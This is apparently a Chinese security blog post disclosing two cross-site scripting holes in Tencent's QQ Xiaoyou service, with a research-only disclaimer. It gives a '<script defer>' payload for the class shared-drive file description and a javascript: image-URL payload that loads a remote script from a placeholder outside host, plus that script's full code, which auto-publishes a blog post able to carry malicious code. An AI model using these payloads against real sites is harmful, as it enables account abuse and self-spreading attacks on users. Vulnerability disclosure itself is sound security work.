作者:孤鸿影
作者已通知腾讯。
漏洞一:
QQ校友 班级共享硬盘 上传文件时对文件描述没有做任何过滤,导致XSS。
QQ校友使用了Ajax技术,来显示文件列表。在文件Msharemsg.js中使用innerHTML输出文件列表的HTML代码。由于使用了innerHTML,所以直接插入代码: <script>alert(‘孤鸿影’)</script>不会被执行。使用下面的格式既可:<script defer>alert(‘孤鸿影’)</script>。加入defer属性,那么浏览器在下载脚本的时候就不会立即对其进行处理,而是继续对页面进行下载和解析。这样我们插入的JavaScript就能正常运行。
漏洞二:
QQ校友在发blog时对插入图片过滤不严格,存在xss漏洞
在发blog时将插入图片URL写为如下代码即可触发:
javascript:document.write('%3C%73%63%72%69%70%74%20%73%72%63%3D%22http://xxxxxx.com/xy.js%22%3E%3C%2F%73%63%72%69%70%74%3E');
xy.js的作用是自动发布一篇日志,这篇日志中可以插入恶意代码,代码如下:
var url="/index.php?mod=blog&act=dopost"; var content="blog_content=By%3A%E5%AD%A4%E9%B8%BF%E5%BD%B1&blog_title=XSS+test&category=%E4%B8%AA%E4%BA%BA%E6%97%A5%E8%AE%B0"; //日志内容,这里可以插入恶意代码 function _sd_Post(Url, Args) { var xmlhttp; var error; eval('try {xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {xmlhttp = null;error=e;}'); if(null != xmlhttp) { xmlhttp.Open("POST", Url, false); xmlhttp.setRequestHeader("x-requested-with", "XMLHttpRequest"); xmlhttp.setRequestHeader("Referer", "http://xy.qq.com/api_proxy.html"); xmlhttp.setRequestHeader("Accept", "application/json, text/javascript, */*"); xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Host", "xy.qq.com"); xmlhttp.Send(Args); strText = xmlhttp.responseText; } } _sd_Post(url,content);
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论